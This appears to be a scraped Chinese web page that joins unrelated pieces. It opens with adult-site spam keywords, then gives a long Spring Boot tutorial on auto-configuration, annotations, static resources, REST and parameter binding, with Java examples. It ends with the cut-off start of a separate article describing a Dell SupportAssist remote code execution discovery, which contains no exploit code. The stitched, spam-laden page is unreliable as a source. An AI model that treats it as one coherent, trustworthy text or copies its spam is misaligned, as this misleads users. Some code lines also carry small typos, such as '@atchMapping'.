欧美vvv,亚洲第一成人在线,亚洲成人欧美日韩在线观看,日本猛少妇猛色XXXXX猛叫

新聞資訊

    入門

    • @RestContrller :此注解標記的類下的 所有 方法均會返回一個 domain 對象以代替視圖@Controller、@ResponseBody 的縮寫使用 Jackson2 以及 MappingJackson2HttpMessageConverter 類自動轉換對象為 JSON
    • @SpringBootApplication:快捷注釋,包含以下內容@Configuration:將該類標記為上下文 bean 對象的源@EnableAutoConfiguration:@ComponentScan

    Spring Boot ?

    • Spring Boot 基于 spring framework之上,可以整合所有spring 生態的技術
    • 快速構建生產級別的 spring 應用
    • spring boot 是整合 spring 技術棧的一站式框架、腳手架

    系統要求

    Name

    Version

    Java

    JDK 8+

    Maven

    3.3+

    Gradle

    6 (6.3 or later). 5.6.x is also supported but in a deprecated form

    Name

    Servlet Version

    Tomcat 9.0

    4.0

    Jetty 9.4

    3.1

    Undertow 2.0

    4.0

    IDEA 的支持

    • 編寫 application.properties 是智能提示
    • 應用啟動后的實時監控:可以實時監控到當前容器中的所有 bean

    第一個 Spring boot 應用

    創建 pom

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.4.3</version>
    </parent>
    
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    </dependencies>
    • 因為我們需要開發 web 應用測試,所有選擇 starter-web
    • spring-boot-starter-parent 工程設置了很多參數、插件、資源打包設置等
    • 修改 java 版本:<properties> <java.version>1.8</java.version> </properties>因為 父工程已經使用 ${java.version} 設置了 java 的編譯版本目前測試無法使用 maven-compiler-3.8 編譯 jdk 11 版本的項目,原因未知,切換為 jdk 8 即正常

    編寫測試代碼

    • 編寫入口@SpringBootApplication public class App { public static void main(String[] args) { SpringApplication.run(App.class, args); } }
    • 編寫 Controller 類@RestController public class HelloController { @RequestMapping("/") String home() { return "Hello World!"; } }

    測試運行

    .   ____          _            __ _ _
     /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
    ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
     \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
      '  |____| .__|_| |_|_| |_\__, | / / / /=========|_|==============|___/=/_/_/_/
     :: Spring Boot ::                (v2.4.3)
    
    2021-02-24 23:08:21.251  INFO 3240 --- [           main] per.fkrobin.study.App                    : Starting App using Java 1.8.0_281 on DESKTOP-SKF5ODM with PID 3240 (D:\Projects\javaProjects\SpringBootStudy\HelloSpringBoot\target\classes started by 22136 in D:\Projects\javaProjects\SpringBootStudy)
    2021-02-24 23:08:21.254  INFO 3240 --- [           main] per.fkrobin.study.App                    : No active profile set, falling back to default profiles: default
    2021-02-24 23:08:21.824  INFO 3240 --- [           main] o.s.b.w.embedded.tomcat.TomcatWebServer  : Tomcat initialized with port(s): 8080 (http)

    瀏覽器打開 http://localhost:8080

    可執行的 Jar

    • 添加 插件<build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build>
    • 執行 mvn clean package
    • java -jar xxxxx.jar 文件,若一切正常,結果將是相同的

    自動配置

    Maven 依賴管理

    每一個 Spring boot 應用都會有一個 parent 父工程

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.4.3</version>
    </parent>

    spring-boot-starter-parent的父工程

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-dependencies</artifactId>
        <version>2.4.3</version>
    </parent>

    spring-boot-dependencies這個工程中定義幾乎所有的 常用工具包版本及其依賴,如 spring-boot-starter-web

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <version>2.4.3</version>
    </dependency>

    所以我們使用 spring-boot-starter-web 不再需要書寫版本號,如果需要更換版本號,可以查看 spring-boot-dependencies 中對應依賴的版本書寫定義,然后在自己項目中 進行重新賦值

    • IDEA pom 文件中 右鍵選中 Diagrams->Show Diagrams 可以查看依賴樹

    常用組件自動配置

    • 自動配好SpringMVC
      • 引入SpringMVC全套組件
      • 自動配好SpringMVC常用組件(功能)
    • 自動配好Web常見功能,如:字符編碼問題、DispacherServlet、multipart文件上傳等
      • SpringBoot幫我們配置好了所有web開發的常見場景
    • 默認的包結構
      • 主程序所在包及其下面的所有子包里面的組件都會被默認掃描進來
      • 無需以前的包掃描配置
      • 想要改變掃描路徑,@SpringBootApplication(scanBasePackages="com.atguigu" ),或者使用@ComponentScan 指定掃描路徑

    自動配置原理

    SpringApplication

    在此類初始化時,就會去 spring-boot、spring-boot-auto-configure 加載 spring-factories 文件,文件中定義了 所有的 Spring 場景下的工廠,如 各種 xxxAutoConfiguration 類、Listener、Filter 等等,并緩存下來。在接下來調用 run 運行時,會根據條件注入、Filter 等過濾掉其中不需要用到的 工廠 、bean。下面是主要代碼

    try {
        ApplicationArguments applicationArguments=new DefaultApplicationArguments(args);
        ConfigurableEnvironment environment=prepareEnvironment(listeners, bootstrapContext, applicationArguments);
        configureIgnoreBeanInfo(environment);
        Banner printedBanner=printBanner(environment);
        context=createApplicationContext();
        context.setApplicationStartup(this.applicationStartup);
        prepareContext(bootstrapContext, context, environment, listeners, applicationArguments, printedBanner);
        // 實例化 bean 到容器之中的過程都是在此完成的
        refreshContext(context);
        afterRefresh(context, applicationArguments);
        stopWatch.stop();
        if (this.logStartupInfo) {
            new StartupInfoLogger(this.mainApplicationClass).logStarted(getApplicationLog(), stopWatch);
        }
        listeners.started(context);
        callRunners(context, applicationArguments);
    }
    catch (Throwable ex) {
        handleRunFailure(context, ex, listeners);
        throw new IllegalStateException(ex);
    }

    其中 實例化 bean 到容器中華的一些列操作都是 springframework.beans 包中的相關類完成的,需要了解其原理才能看懂代碼

    @SpringBootApplication

    查看此注解可以發現,在去掉一些定義即文檔配置后,此注解實際就是 @SpringBootConfiguration@EnableAutoConfiguration@ComponentScan 結合:

    @SpringBootConfiguration
    @EnableAutoConfiguration
    @ComponentScan(excludeFilters={ @Filter(type=FilterType.CUSTOM, classes=TypeExcludeFilter.class),
            @Filter(type=FilterType.CUSTOM, classes=AutoConfigurationExcludeFilter.class) })
    public @interface SpringBootApplication{}

    @SpringBootConfiguration

    • 實際為 @Configuration 注解的替代,無區別
    • 每個應用中應該保持只有一個 @SpringBootConfiguration 注解
    • 用于自動查找配置
    @Configuration
    public @interface SpringBootConfiguration {
    	boolean proxyBeanMethods() default true;
    }

    @ComponentScan

    和 Spring 中一樣,用于包掃描

    @EnableAutoConfiguration

    所有自動配置的核心,實際上都和此注解有關

    @AutoConfigurationPackage
    @Import(AutoConfigurationImportSelector.class)
    public @interface EnableAutoConfiguration {}

    @Import(AutoConfigurationImportSelector.class)

    1. 利用 getAutoConfigurationEntry(annotationMetadata); 給容器中批量導入一些組件
    2. 調用 List<String> configurations=getCandidateConfigurations(annotationMetadata, attributes) 獲取到所有需要導入到容器中的配置類
    3. 利用工廠加載 Map<String, List<String>> loadSpringFactories(@Nullable ClassLoader classLoader); 得到所有的組件
    4. META-INF/spring.factories 位置來加載一個文件。 默認掃描我們當前系統里面所有 META-INF/spring.factories 位置的文件spring-boot-autoconfigure-x.x.x.jar以及 spring-boot-x.x.x.jar 里面有 META-INF/spring.factories
    5. 根據 spring.factories 中配置的 AutoConfigurationImportFilter 來過濾無需加載的 bean# Auto Configuration Import Filters org.springframework.boot.autoconfigure.AutoConfigurationImportFilter=\ org.springframework.boot.autoconfigure.condition.OnBeanCondition,\ org.springframework.boot.autoconfigure.condition.OnClassCondition,\ org.springframework.boot.autoconfigure.condition.OnWebApplicationCondition

    Spring boot 的使用

    @Configuration

    • 被 @Configuration 注解的類本身也是一個 bean, run.getBean(MyConfig.class) ;
    • proxyBeanMethods :指示被 @Configuration 注解的類是否需要方法代理,如果是,,那么被@Bean 注解過的方法都會被代理,無論調用多少次,方法都會放回容器中已存在的對象,否則使用方法返回的對象
    • Full 模式: proxyBeanMethods 為 true,需要判斷,啟動慢
    • Lite 模式: proxyBeanMethods 為 false,無需判斷,啟動快
    • 建議:當如果其他 bean 之間有相互依賴時,使用 Full 模式,否則使用 Lite

    @Import

    public @interface Import {
    	Class<?>[] value();
    }

    在容器中創建 value 數組指定的所有 類的實例,默認名字為 全限定類型(包路徑+類名)

    @ImportResource

    • 將 xml 書寫的相關配置進行導入,以進行兼容: @ImportResource("classpath:beans.xml")

    @Condition

    • 按條件注入
    • 存在大量派生 注解,@ConditionalOnBean @ConditionalOnMissingClass

    @ConfiguraProperties

    將properties文件中的內容翻譯為一個 Java Bean 的過程被稱為 配置綁定

    • 用于類上,指定前綴后,只要類中的屬性在 配置文件中定義過,就能自動注入user.name="tom" user.age=23 user.address="Shanghai"@Component @ConfigurationProperties(prefix="user") public class User { private String name; private int age; private String address; }

    spring-boot-configuration-processor

    • 在使用此注解時,如果沒有配置 spring-boot-configuration-processor 依賴,IDEA 會有紅色的警告提示
    • 在 application.properties 編寫配置時,會看到 IDEA 中有很多的提示,此提示就是事先在 spring-boot-auto-configure 定義好的元數據 spring-configuration-metadata.json 文件:

    • 內容大概是這樣的:

    • 所以此依賴的作用就是為我們自定義的屬性生成元數據,這樣我們之后在 application.properties 中間配置時就會有提示了
    • 此組件生效需要先編譯運行一次 程序,之后會在 classpath:META-INF 路徑下會生成 spring-configuration-metadata.json 文件

    使用方式

    • @EnableConfigurationProperties :指定開啟某個/些類的屬性注入功能,并注入一個 bean 到容器中
    1. @Component+@ConfigurationProperties
    2. @Configuration + @EnableConfigurationProperties
      此方式創建的 bean 是 首字母小寫的類名 + 全限定類名

    開發 Web 應用

    Spring MVC 自動配置

    • 包含 ContentNegotiatingViewResolver 和 BeanNameViewResolver Bean。
    • 支持提供靜態資源,包括對 Webjars 的支持
    • 自動注冊 Converter,GenericConverter 和 Formatter Bean。
    • 對 HttpMessageConverters 的支持
    • 自動注冊 MessageCodesResolver。
    • index.html、favicon.icon 支持
    • 自動使用 ConfigurableWebBindingInitializer Bean(在本文檔后面介紹)。

    靜態資源訪問

    • 默認的靜態資源文件存放在: /static (or /public or /resources or /META-INF/resources ) 下
    • 默認資源路徑被映射到 /**,可以通過配置屬性文件修改spring.mvc.static-path-pattern=/resources/**
    • 原理尋找是否有 Controller 能夠處理此請求,若有,直接調用方法處理。若不能處理,則交給靜態資源處理器。靜態資源處理器找到對應資源,則返回,否則返回 404 頁面,因此如果一個 controller的方法映射和一個靜態資源 映射到相同路徑, Spring boot 會返回 controller 方法執行的結果但是如果有多個相同的 controller 方法映射到同一 URL, String Boot 則會直接拋出異常
    • 自定義靜態資源路徑:spring: web: resources: static-locations: - classpath:/xixi
    • 禁用靜態資源規則spring: resources: add-mappings: false 禁用所有靜態資源規則禁用之后就再也無法訪問到靜態資源
    • webjars用于將前端資源打包為 jar 使用,如使用 Maven 導入 JQuery,就會得到 包含 JQuery 的 jar 包默認將所有 webjar 映射到 /webjars/** 路徑下訪問規則:/webjars/ jquery/3.5.1/jquery.js 后面地址要按照依賴里面的包路徑

    歡迎頁

    • 靜態資源路徑下放置 index.html 文件
    • 編寫能處理 /index 請求的 controller
    • 配置靜態資源訪問路徑映射后,index.html 放在靜態資源路徑下無法自動識別為歡迎頁
    • 歡迎頁功能必須同時保證 靜態資源 URL 映射為默認 /** ,且在靜態資源路徑下存在 index.html 文件

    favicon

    目前官方文檔已經取消了介紹自定義網頁圖標的部分,但功能依然存在

    • 將 favicon.icon 放在 靜態資源路徑下即可
    • 同歡迎頁一樣,存在 bug,靜態資源訪問路徑映射更改后功能失效

    Rest 支持

    Spring boot 支持 RestFul 的設計風格,支持 GET、POST、DELETE、PUT、PATCH 等請求方式。由于表單只支持 GET、POST 方式,因此 Spring boot 使用了一個 HiddenHttpMethodFilter 的過濾器來實現請求方法的過濾、更改,流程:

    1. HiddenHttpMethodFilter 過濾器將攔截帶有 methodParam (默認為_method)的參數的請求
    2. 讀取 methodParam 的值,并使用一個 ServletRequestWrapper 包裝重寫 getMethod() 方法,使其返回期望的請求方法
    3. 如果是以其他方式直接發送的 PUT 等方式的請求,如:PostMan、IDEA Request 生成,則 HiddenHttpMethodFilter 會直接放行

    因此,如果我們想自定義相關的操作,可以自己添加一個 HiddenHttpMethodFilter 的 bean,并修改相關屬性,如 methdoParam

    用法

    1. 開啟頁面表單的 REST 功能HTML 表單只能發送 GET、POST 請求,如果需要發送 PUT、DELETE、PATCH 請求,需要開啟頁面表單的 REST 功能:spring: mvc: hiddenmethod: filter: enabled: true #開啟頁面表單的Rest功能,即開啟 HiddenHttpMethodFilter 的過濾器功能
    2. form 表單的請求方式必須為 POST
    3. HTML5 表單中附帶一個 name 為 _method 的 input(type 一般設置為 hidden),value 設置為真正的請求方式(大小寫無所謂)
    4. 編寫 controllerGET:@RequestMapping(name="/user", method=RequestMethod.GET)、@GetMapping("/user")POST:@RequestMapping(name="/user", method=RequestMethod.POST)@PostMapping("/user")DELETE:@RequestMapping(name="/user", method=RequestMethod.DELETE)@DeleteMapping("/user")PUT:@RequestMapping(name="/user", method=RequestMethod.PUT)@PutMapping("/user")PATCH :@RequestMapping(name="/user", method=RequestMethod.PATCH )@atchMapping("/user")

    請求參數映射

    相關注解:@PathVariable、@RequestHeader、@ModelAttribute、@RequestParam、@MatrixVariable、@CookieValue、@RequestBody

    @RequestParam

    List<String>
    Map<String, String>
    
    public @interface RequestParam {
        
       @AliasFor("name")
       String value() default "";
    
       @AliasFor("value")
       String name() default "";
    
        // 參數是否是必須的。如果為是,參數缺失時將會導致異常;否則將傳入 null
       boolean required() default true;
    
       String defaultValue() default ValueConstants.DEFAULT_NONE;
    }
    @RequestMapping("/rp1")
    public String testRequestParam(@RequestParam String name, @RequestParam Integer id, @RequestParam("hobby")List<String> hobbies) {
        return name + " " + id + "hobbies: " + hobbies;
    }

    @PathVariable

    Map<String, String>
    
    public @interface PathVariable {
    
       @AliasFor("name")
       String value() default "";
    
       @AliasFor("value")
       String name() default "";
    
       boolean required() default true;
    
    }

    例子:

    @RequestMapping("/param/{id}")
    public String testPathVariable(@PathVariable Integer id) {
        return "testPathVariable: " + id;
    }
    
    @RequestMapping("/param/{id}/owner/{username}")
    public String testPathVariable2(@PathVariable Integer id, @PathVariable String username) {
        return String.format("testPathVariable2: id: %d, username: %s", id, username);
    }
    
    @RequestMapping("/param/{id}/owner/{username}/{age}")
    public String testPathVariable3(@PathVariable Map<String, String> map) {
        return String.format("testPathVariable2: %s", map.toString());
    }

    @RequestHeader

    • 獲取 name 指定的請求頭,如 accept
    • 方法參數為 Map<String, String> 可以獲取所有的請求頭
    public @interface RequestHeader {
    
       @AliasFor("name")
       String value() default "";
    
       @AliasFor("value")
       String name() default "";
    
       boolean required() default true;
    
       String defaultValue() default ValueConstants.DEFAULT_NONE;
    
    }
    @RequestMapping("/param/rh1")
    public String testRequestHeader(@RequestHeader("user-Agent") String userAgent) {
        return String.format("testRequestHeader: user-Agent: %s", userAgent);
    }
    
    @RequestMapping("/param/rh2")
    public String testRequestHeaders(@RequestHeader Map<String, String> headers) {
        return String.format("testRequestHeader: %s", headers.toString());
    }

    @CookieValue

    • 可以獲取指定 name 的 cookie
    • 可以將指定 name 的cookie 封裝為 javax.servlet.http.Cookie 對象
    public @interface CookieValue {
    
       @AliasFor("name")
       String value() default "";
    
       @AliasFor("value")
       String name() default "";
    
       boolean required() default true;
       String defaultValue() default ValueConstants.DEFAULT_NONE;
    }

    例子:

    @RequestMapping("/cookie")
    public String testCookie(@CookieValue("Idea-80024e6a") String idea) {
        return idea;
    }
    @RequestMapping("/cookie2")
    public String testCookie2(@CookieValue("Idea-80024e6a") Cookie cookie) {
        return cookie.getName() + " " + cookie.getValue();
    }

    @RequestBody

    • 請求方式不能是 必須是 POST【GET方式沒有請求體】

    例子

    @RequestMapping("/rb1")
    public String testRequestBody(@RequestBody String body) {
        return body;
    }

    @RequestAttribute

    • 獲取 request 域中的屬性
    public @interface RequestAttribute {
    
       @AliasFor("name")
       String value() default "";
        
       @AliasFor("value")
       String name() default "";
        
       boolean required() default true;
    
    }

    例子:

    @GetMapping("/attribute1")
    public void testRequestAttribute0(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        request.setAttribute("name", "ZhangSan");
        request.getRequestDispatcher("/ra1").forward(request, response);
    }
    
    @RequestMapping("/ra1")
    public String testRequestAttribute1(@RequestAttribute String name) {
        return name;
    }

    @MatrixVariable

    • Spring boot 默認 禁用 矩陣變量功能
    • 開啟矩陣變量功能,我們需要自己實現 WebMvc的相關配置,繼承 WebMvcConfigurer 并覆蓋 configurePathMatch 方法
    • WebMvcAutoConfiguration 類并非時條件注入,所以可以直接再加一個配置進行 configurePathMatch 方法的覆蓋@Configuration(proxyBeanMethods=false) public class WebConfig implements WebMvcConfigurer { @Override public void configurePathMatch(PathMatchConfigurer configurer) { UrlPathHelper helper=new UrlPathHelper(); // 設置不移除URL中的分號 helper.setRemoveSemicolonContent(false); configurer.setUrlPathHelper(helper); } }
    • UrlPathHelperremovSemicolonContent
    • 矩陣變量:以分號分隔的 k-v 對 ,/user/{path;low=34;brand=byd,audi,yd}
    • 一個 key 有多個 value 時,用逗號分隔
    • /boss/1;age=20/2;age=20
    public @interface MatrixVariable {
    
       @AliasFor("name")
       String value() default "";
    
       @AliasFor("value")
       String name() default "";
    
       String pathVar() default ValueConstants.DEFAULT_NONE;
    
       boolean required() default true;
    
       String defaultValue() default ValueConstants.DEFAULT_NONE;
    
    }

    例子:

    @ResponseBody
    @RequestMapping("/mv/{sell}")
    public String testMatrixVar(@MatrixVariable("low") Integer low,
                                @MatrixVariable("brand") List<String> brads) {
        return brads.toString() + "  " + low;
    }

    存在多個相同名字的 key 時,可以使用 pathVar 指定是哪一個路徑變量下的變量

    @ResponseBody
    @RequestMapping("/mv2/{boss}/{emp}")
    public String testMatrixVar2(@MatrixVariable(name="age", pathVar="boss") Integer age1,
                                 @MatrixVariable(name="age", pathVar="emp") Integer age2) {
        return age1.toString() + "  " + age2;
    }

    附錄

    forward 和 include

    • forward:轉發,將請求轉發到另一個請求路徑
    • include:包含,可以用于包含另一個資源,也會將請求轉發到新資源,但是新資源的響應和舊響應會合并在一起響應到客戶端
    • 應用
      • 登錄成功:forward welcome.html
      • 登錄失敗:include login.html

    RestFul

    RestFul是一種程序編程風格和開發方式,基于 HTTP

    REST 指的是一組架構約束條件和原則。滿足這些約束條件和原則的應用程序或設計就是 RESTful。

    Web 應用程序最重要的 REST 原則是,客戶端和服務器之間的交互在請求之間是無狀態的。從客戶端到服務器的每個請求都必須包含理解請求所必需的信息。如果服務器在請求之間的任何時間點重啟,客戶端不會得到通知。此外,無狀態請求可以由任何可用服務器回答,這十分適合云計算之類的環境。客戶端可以緩存數據以改進性能。

    在服務器端,應用程序狀態和功能可以分為各種資源。資源是一個有趣的概念實體,它向客戶端公開。資源的例子有:應用程序對象、數據庫記錄、算法等等。每個資源都使用 URI (Universal Resource Identifier) 得到一個唯一的地址。所有資源都共享統一的接口,以便在客戶端和服務器之間傳輸狀態。使用的是標準的 HTTP 方法,比如 GET、PUT、POST 和 DELETE。Hypermedia 是應用程序狀態的引擎,資源表示通過超鏈接互聯。

    特點

    1. 每一個URI代表1種資源;
    2. 客戶端使用 GET、POST、PUT、DELETE 4個表示操作方式的動詞對服務端資源進行操作
    3. GET用來獲取資源
    4. POST用來新建資源(也可以用于更新資源)
    5. PUT用來更新資源
    6. DELETE用來刪除資源
    7. 通過操作資源的表現形式來操作資源;
    8. 資源的表現形式是XML或者HTML;
    9. 客戶端與服務端之間的交互在請求之間是無狀態的,從客戶端到服務端的每個請求都必須包含理解請求所必需的信息。

    eg: 同樣訪問 /user 的 URL,不同的請求方式對應不同的操作:

    • GET:獲取 user
    • POST:保存 user
    • DELETE:刪除 user
    • PUT:更新 user

    請求處理原理

    • HandlerAdapter:因為需要封裝各種請求信息到方法參數,因此 Spring MVC 設計了 HandlerAdapter 來處理一系列類似的方法,負責解析參數、參數上的注解、參數名字,并傳入值
      • RequestMappingHandlerAdapter:處理 @RequestMapping 注解的方法
      • HandlerFunctionHandlerAdapter
      • HttpRequestHandlerAdapter
      • SimpleControllerHandlerAdapter

    Model 屬性合并到 request

    使用例子:

    • Map<String, Object> 、Model、HttpServletRequest 都可以用于操作 request 對象
    @RequestMapping("/request0")
    public String testRequest(Map<String, Object> map, Model model, HttpServletRequest request) {
        map.put("map", "v1");
        model.addAttribute("model", "v2");
        request.setAttribute("request", "v3");
        return "forward:/param/request1";
    }
    
    @ResponseBody
    @RequestMapping("/request1")
    public Map<String, Object> testRequest1(HttpServletRequest request) {
        Map<String, Object> map=new HashMap<>();
        map.put("map", request.getAttribute("map"));
        map.put("model", request.getAttribute("model"));
        map.put("request", request.getAttribute("request"));
        return map;
    }

    流程

    // 獲取 handler
    mappedHandler=getHandler(processedRequest);
    // 獲取 handlerAdapter
    HandlerAdapter ha=getHandlerAdapter(mappedHandler.getHandler());
    //攔截器preHandle方法
    preHandle(processRequest, response);
    //調用處理器
    handle(processedRequest, response, mappedHandler.getHandler());
    //攔截器 postHandle 方法
    postHandle(processedRequest, response, mv);
    //處理分發結果,包括 ModelAndView 或 Exception
    processDispatchResul(processedRequest, response, mappedHandler, mv, dispatchException);
    	// 渲染給定的 ModelAndView,這是請求處理的最后一步
    	render(mv, request, response);
        	// 視圖解析,循環調用所有配置的視圖解析器解析視圖  InternalResourceView
    		view=resolveViewName(viewName, mv.getModelInternal(), locale, request);
    		// 視圖渲染,
    		view.render();
    			// 合并靜態屬性、Model、pathVars
    			createMergedOutputModel(model, request, response);
    			// 實際實現渲染的方法
    			renderMergedOutputModel(mergedModel, getRequestToExpose(request), response);
    				// 將合并后的 Model 中的所有屬性全部轉移到 Request 中
    				exposeModelAsRequestAttributes(model, request);
    				// 分發請求
    				RequestDispatcher rd=getRequestDispatcher(request, dispatcherPath);
    				//rd.include(request, response);
    				rd.forward(request, response);
    	// 攔截器 afterCompletion 方法
    	mappedHandler.triggerAfterCompletion(request, response, null);

    Handler

    • 所有預設的 HandlerMapping
      • RequestMappingHandlerMapping:保存了所有 @RequestMapping 和 handler 的映射規則
      • WelcomPageHandlerMapping:處理歡迎頁的映射
      • BeanNameUrlHandlerMapping
      • RoutedFunctionMapping
      • SimpleUrlHandlerMapping
    //循環調用所有預設的 HandlerMapping 的 getHandler 方法,并返回第一個不為 null 的值
    HandlerExecutionChain handler=mapping.getHandler(request);
    	getHandler(HttpServletRequest request);
    	getHandlerInternal(request);
    		// 尋找能夠處理請求的方法,可能存在多個,如果多個方法映射到同一路徑,Spring boot 會直接拋出異常
    		lookupHandlerMethod(lookupPath, request);
    			return bestMatch.getHandlerMethod();
    		// 將 String 類型的 bean 實例化為一個實際對象
    		return handlerMethod.createWithResolvedBean();
    	// 執行鏈,包含 handler method 和所有的攔截器
    	HandlerExecutionChain executionChain=getHandlerExecutionChain(handler, request);
    	return executionChain;
    return handler;

    HandlerAdapter

    • 由于需要對 handler 進行多種參數的封裝,為了更好管理,Spring MVC 設計了多種 Adapter 用于處理不同類型的 handler
      • RequestMappingHandlerAdapter支持 @RequestMapping 注解的 HandlerMethod
      • HandlerFunctionAdapter支持 HandlerFunction 的HandlerAdapter實現。
      • HttpRequestHandlerAdapter :支持實現LastModified接口的處理程序。
      • SimpleControllerHandlerAdapter支持 Controller 的子類
    // 獲取 handler 對應的適配器
    getHandlerAdapter(Object handler);
    	adapter.supports(handler);
            return (handler instanceof HandlerMethod && supportsInternal((HandlerMethod) handler));

    RequestMappingHandlerAdapter 的 handle 方法的實現:

    handle(HttpServletRequest request, HttpServletResponse response, Object handler);
    	return handleInternal(request, response, (HandlerMethod) handler);
    		ModelAndView mav=invokeHandlerMethod(request, response, handlerMethod);
    			ServletInvocableHandlerMethod invocableMethod=createInvocableHandlerMethod(handlerMethod);
                invocableMethod.setHandlerMethodArgumentResolvers(this.argumentResolvers);
                invocableMethod.setHandlerMethodReturnValueHandlers(this.returnValueHandlers);
    			invocableMethod.invokeAndHandle(webRequest, mavContainer);
    				Object returnValue=invokeForRequest(webRequest, mavContainer, providedArgs);
    				returnValueHandlers.handleReturnValue(returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
    			return getModelAndView(mavContainer, modelFactory, webRequest);
    		return mav;

    ServletInvocableHandlerMethod

    invokeForRequest(webRequest, mavContainer, providedArgs);
    	// 獲取所有方法參數值
    	Object[] args=getMethodArgumentValues(request, mavContainer, providedArgs);
    		MethodParameter[] parameters=getMethodParameters();
    		// 用于獲取參數名稱
            parameter.initParameterNameDiscovery(this.parameterNameDiscoverer);
    		args[i]=this.resolvers.resolveArgument(parameter, mavContainer, request, this.dataBinderFactory);
    			HandlerMethodArgumentResolver resolver=getArgumentResolver(parameter);
    				// 迭代 List<HandlerMethodArgumentResolver>
    				resolver.supportsParameter(parameter);
    				return resolver;
    			return resolver.resolveArgument(parameter, mavContainer, webRequest, binderFactory);
    	return doInvoke(args);

    例子 RequestHeaderMapMethodArgumentResolver

    public boolean supportsParameter(MethodParameter parameter) {
       // 只要保證有 @RequestHeader 注解,并且參數類型為 Map 及其子類
       return (parameter.hasParameterAnnotation(RequestHeader.class) &&
             Map.class.isAssignableFrom(parameter.getParameterType()));
    }
    
    resolveArgument(parameter, mavContainer, webRequest, binderFactory);
    	//MultiValueMap<String, String> result;
    	// 因此參數 Map 必須是 String,String 類型
    	Map<String, String> result=new LinkedHashMap<>();

    POJO 類型封裝

    • ServletModelAttributeMethodProcessor
    • WebDataBinder:包含120+ 中 Converter ,用于各種數據類型之間的轉化
    • 用在參數上的 @ModelAttribute 注解與沒有注解的 POJO 類型(非簡單類型)被認為是相同的【指處理方式相同】
    public boolean supportsParameter(MethodParameter parameter) {
       return (parameter.hasParameterAnnotation(ModelAttribute.class) ||
             (this.annotationNotRequired && !BeanUtils.isSimpleProperty(parameter.getParameterType())));
    }
    
    public static boolean isSimpleProperty(Class<?> type) {
        Assert.notNull(type, "'type' must not be null");
        return isSimpleValueType(type) || (type.isArray() && isSimpleValueType(type.getComponentType()));
    }
    
    public static boolean isSimpleValueType(Class<?> type) {
        return (Void.class !=type && void.class !=type &&
                (ClassUtils.isPrimitiveOrWrapper(type) ||
                 Enum.class.isAssignableFrom(type) ||
                 CharSequence.class.isAssignableFrom(type) ||
                 Number.class.isAssignableFrom(type) ||
                 Date.class.isAssignableFrom(type) ||
                 Temporal.class.isAssignableFrom(type) ||
                 URI.class==type ||
                 URL.class==type ||
                 Locale.class==type ||
                 Class.class==type));
    }
    
    // ModelAttributeMethodProcessor
    resolveArgument(parameter, mavContainer, webRequest, binderFactory);
    	// 創建一個空的 domain 對象
    	attribute=createAttribute(name, parameter, binderFactory, webRequest);
    	WebDataBinder binder=binderFactory.createBinder(webRequest, attribute, name);
    	bindRequestParameters(binder, webRequest);
    		ServletRequestDataBinder servletBinder=(ServletRequestDataBinder) binder;
    		// 底層在對無法綁定的屬性、錯誤屬性等剔除后,將數據類型轉換后綁定到 attribute 上
    		servletBinder.bind(servletRequest);
    			// 將請求中的所有參數全部轉換為 PropertyValue,并加入 List 保存
    			MutablePropertyValues mpvs=new MutablePropertyValues(request.getParameterMap());
    				doBind(mpvs);
    				// DataBinder 移除缺失的必填字段,并拋出錯誤
    				doBind(mpvs);
    					applyPropertyValues(mpvs);
    						getPropertyAccessor().setPropertyValues(mpvs, isIgnoreUnknownFields(), 
                                                                    isIgnoreInvalidFields());
    							// 迭代 mpvs 中的所有 PropertyValue 
    							//setPropertyValue(pv); 調用重載方法
    							setPropertyValue(pv.getName(), pv.getValue());
    								nestedPa.setPropertyValue(tokens, new PropertyValue(propertyName, value));
    									processLocalProperty(tokens, pv);
    										valueToApply=convertForProperty(tokens.canonicalName, oldValue, originalValue, ph.toTypeDescriptor());
    										ph.setValue(valueToApply);
    convertForProperty(tokens.canonicalName, oldValue, originalValue, ph.toTypeDescriptor());
    return convertIfNecessary(propertyName, oldValue, newValue, td.getType(), td);
    	return this.typeConverterDelegate.convertIfNecessary(propertyName, oldValue, newValue, requiredType, td);
    		return (T) conversionService.convert(newValue, sourceTypeDesc, typeDescrip

    原文鏈接:http://www.cnblogs.com/fkrobin-breast/p/14462276.html

    如果覺得本文對你有幫助,可以轉發關注支持一下

    你用的電腦是什么品牌的?你有沒有對你電腦系統中預裝或自帶軟件的安全性產生過懷疑?當我們談論遠程代碼執行漏洞(RCE)時,可能大多數人會認為它和操作系統漏洞相關,但是有沒有人考慮到預裝到電腦系統中的第三方軟件這一攻擊可能呢?本文講述的就是紐約17歲安全研究者最近發現的,戴爾預裝在其電腦上的軟件工具Dell SupportAssist 的一個遠程代碼執行漏洞(RCE),利用該漏洞,可對同一網絡環境中安裝有Dell SupportAssist 的目標系統實施RCE攻擊。Dell SupportAssist 用于“主動檢查系統硬件和軟件運行狀況”,并且“預裝自帶在大多數全新的戴爾電腦系統中”。

    以下為作者的詳細分析,比較繁瑣,涉及請求分析、完整性檢查分析、漏洞利用思路構造、ARP和DNS欺騙。具體利用請參考文末最后的漏洞利用及PoC部份。

    漏洞發現

    去年9月,因為我用了將近7年的Macbook Pro已經快要罷工了,所以,我打算重新購買一臺性價比高的筆記本電腦,最終我選擇了戴爾的G3 15。筆記本電腦入手之后,我把其中的1TB普通硬盤換成了固態硬盤,在安裝完Windows系統后,我想從戴爾官網上更新驅動,這時我發現了一件有意思的事,當我訪問戴爾的技術支持網站時,會跳出一個如下圖的選項:

    其中有兩種提示,一是告訴用戶需要輸入戴爾電腦設備的服務標簽、產品序列號和型號等等信息,另外一種是直接選擇“Detect PC”(探測電腦)自動識別。

